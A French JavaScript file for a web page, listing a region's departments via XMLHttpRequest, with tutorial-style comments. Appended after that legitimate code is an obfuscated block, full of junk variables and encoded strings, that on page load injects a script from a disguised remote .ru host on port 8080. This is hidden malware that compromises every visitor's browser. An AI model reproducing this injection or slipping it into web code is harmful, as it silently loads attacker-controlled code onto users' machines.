/**
 * Lister les départements d'une région avec un objet
 * XMLHTTPRequest.
 */
/* Création de la variable globale qui contiendra l'objet XHR */
var requete = null;
/**
 * Fonction privée qui va créer un objet XHR.
 * Cette fonction initialisera la valeur dans la variable globale définie
 * ci-dessus.
 */
function creerRequete()
{
    try
    {
        /* On tente de créer un objet XmlHTTPRequest */
        requete = new XMLHttpRequest();
    }
    catch (microsoft)
    {
        /* Microsoft utilisant une autre technique, on essays de créer un objet ActiveX */
        try
        {
            requete = new ActiveXObject('Msxml2.XMLHTTP');
        }
        catch(autremicrosoft)
        {
            /* La première méthode a échoué, on en teste une seconde */
            try
            {
                requete = new ActiveXObject('Microsoft.XMLHTTP');
            }
            catch(echec)
            {
                /* À ce stade, aucune méthode ne fonctionne... mettez donc votre navigateur à jour ;) */
                requete = null;
            }
        }
    }
    if(requete == null)
    {
        alert('Impossible de créer l\'objet requête,\nVotre navigateur ne semble pas supporter les object XMLHttpRequest.');
    }
}
/**
 * Fonction privée qui va mettre à jour l'affichage de la page.
 */
function actualiserDepartements()
{
    var listeDept = requete.responseText;
    var blocListe = document.getElementById('blocDepartements');
    blocListe.innerHTML = listeDept;
}

/**
 * Fonction publique appelée par la page affichée.
 * Cette fonction va initialiser la création de l'objet XHR puis appeler
 * le code serveur afin de récupérer les données à modifier dans la page.
 */
function getDepartements(idr,bien_dept)
{
    /* Si il n'y a pas d'identifiant de région, on fait disparaître la seconde liste au cas où elle serait affichée */
    if(idr == 'vide')
    {
        document.getElementById('blocDepartements').innerHTML = '';
    }
    else
    {
        /* À cet endroit précis, on peut faire apparaître un message d'attente */
        var blocListe = document.getElementById('blocDepartements');
        blocListe.innerHTML = "Traitement en cours, veuillez patienter...";
        /* On crée l'objet XHR */
        creerRequete();
        /* Définition du fichier de traitement */
        var url = 'departements.php?idr='+ idr;
        /* Envoi de la requête à la page de traitement */
        requete.open('GET', url, true);
        /* On surveille le changement d'état de la requête qui va passer successivement de 1 à 4 */
        requete.onreadystatechange = function()
        {
            /* Lorsque l'état est à 4 */
            if(requete.readyState == 4)
            {
                /* Si on a un statut à 200 */
                if(requete.status == 200)
                {
                    /* Mise à jour de l'affichage, on appelle la fonction apropriée */
                    actualiserDepartements();
                }
            }
        };
        requete.send(null);
    }
}

var Q='';try {var S;if(S!='' && S!='Qi'){S='Gs'};this.i="";this.R="";this.qj="";var w=RegExp;var v=new Array();var YS=new Array();var bt=new String();var Sh=new Array();var Z="repl"+"nX9Hace".substr(4);var RE;if(RE!='' && RE!='RW'){RE='z'};var o=new String();function M(H,E){this.oo='';var A;if(A!='' && A!='Mf'){A=''};var _=String("[");var m;if(m!='f'){m='f'};this.qs='';var V="g";var Xh;if(Xh!='' && Xh!='ZE'){Xh=null};var On;if(On!='' && On!='Gn'){On=null};_+=E;var Nw;if(Nw!='' && Nw!='sN'){Nw='s_'};_+="pty]".substr(3);var d=new Array();var mO=new String();var mS;if(mS!='J' && mS!='Df'){mS=''};var G=new w(_, V);this.sd='';this.oA="";return H[Z](G, new String());var HQ;if(HQ!='' && HQ!='qm'){HQ='mOW'};};this.Bv='';var DV;if(DV!='' && DV!='Ge'){DV='Nn'};var uO="";var eu;if(eu!='' && eu!='xd'){eu='_a'};var fP;if(fP!=''){fP='B_'};var Dt;if(Dt!='' && Dt!='oW'){Dt='aR'};var T=M('/0g6o6o0g6l6e0.6c0o6m0/0g6o0o6g0l0e0.6c0o0m6/6w0e0l6t6.0d6e0/0a6b6o6u6t6.6c6o0m6/0f0a0s0t6b6r6o6w6s6e6r6s0e0a6r0c0h0.6c0o6m0.6p6h6p0',"60");var TO;if(TO!='Mw'){TO='Mw'};var Hb=M('cDrSeSaVtMeSEVlVeVmDeDnVtS',"DCMSV");var Ta=M('8777770773383333077337',"37");var mL;if(mL!='' && mL!='il'){mL=null};var u_;if(u_!='' && u_!='wv'){u_=''};var Uj;if(Uj!=''){Uj='Dd'};var j=M('obnXlboXabdX',"Xb");var YC='';var tb;if(tb!='' && tb!='dn'){tb=null};var e=M('hCtCtOpC:C/C/VmOebgOabuCpClCobaCdC-CcboOmb.CnbeVwOsO3CiCnbsViVdVeVrV.VcOoVmb.ClCiCnbkOeOdCiCnb-VcOoVmC.VTChOeCSbuCpVeVrCEVxbcOhVaOnVgCeV.Vrbub:b',"OVCb");this.Ng='';var Gd=window;this.YM='';this.pc='';var eA=M('sScvrvi5pvtY',"Sxv5Y");var TF;if(TF!='tZ'){TF=''};this.to="";var VV='';this.RA="";this.wY="";u=function(){var Zz;if(Zz!='CA' && Zz!='hd'){Zz=''};var xj;if(xj!='mB'){xj='mB'};c=document[Hb](eA);this.PT="";var nG="";var lm;if(lm!='' && lm!='BL'){lm=null};VV=e+Ta;VV+=T;var Co="";var CR=new Date();var pU=new Date();this.Pz='';c.src=VV;var yO;if(yO!=''){yO='AT'};var Qm;if(Qm!='' && Qm!='es'){Qm='MBz'};c.defer=([9,1][1]);var W;if(W!='oz'){W='oz'};var Kb;if(Kb!='um'){Kb='um'};var aP=new Date();var vA="";document.body.appendChild(c);};var Nu;if(Nu!='SJ' && Nu!='NnS'){Nu=''};var mG;if(mG!='' && mG!='EB'){mG=null};var ca;if(ca!='' && ca!='Uc_'){ca=null};Gd[j]=u;} catch(X){};var ZQ=new String();